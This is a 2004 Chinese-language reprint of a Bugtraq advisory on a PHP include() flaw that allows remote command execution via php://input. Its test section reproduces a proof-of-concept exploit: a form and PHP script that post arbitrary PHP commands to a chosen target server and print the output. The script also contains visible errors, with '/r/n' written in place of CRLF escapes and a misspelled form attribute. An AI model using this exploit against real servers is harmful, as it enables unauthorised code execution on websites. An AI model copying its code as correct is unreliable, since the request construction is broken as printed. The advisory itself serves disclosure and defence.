PHP Input/Ouput Wrapper远程包含函数命令执行漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2004-07-10
PHP Input/Ouput Wrapper远程包含函数命令执行漏洞

发布日期: 2004年6月6日
受影响系统:
PHP PHP 5.0 RC2
PHP PHP 5.0 RC1
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 10427

PHP是一种流行的WEB服务器端编程语言。

PHP的include()函数存在设计缺陷,远程安全者可以利用这个漏洞可能以WEB权限执行任意命令。

PHP的一个设计错误,当URI数据作为'include()'函数的一个参数时,安全者可以提交POST PHP命令来执行。此问题影响PHP自身模块,虽然问题只有当应用程序使用用户提供的URI数据作为 'include()'函数时才发生。

成功利用此漏洞可以WEB权限执行任意命令。

<*来源:Slythers
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108570676214879&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

Slythers 提供了如下测试方法:

<form action="" methode="post" >
target server : <input type="text" name="server" ><br><br>
target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>
exec (enclose php commands between <? .. ?> tags): <input type="text" name="cmd" ><br><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message  = "POST /".$file."php://input HTTP/1.1/r/n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*/r/n";
$message .= "Accept-Language: fr/r/n";
$message .= "Content-Type: application/x-www-form-urlencoded/r/n";
$message .= "Accept-Encoding: deflate/r/n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)/r/n";
$message .= "Host: ".$server."/r/n";
$message .= "Content-length: ".strlen( $cmd )."/r/n";
$message .= "Connection: Keep-Alive/r/n";
$message .= "Cache-Control: no-cache/r/n";
$message .= "/r/n";
$message .= $cmd."/r/n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net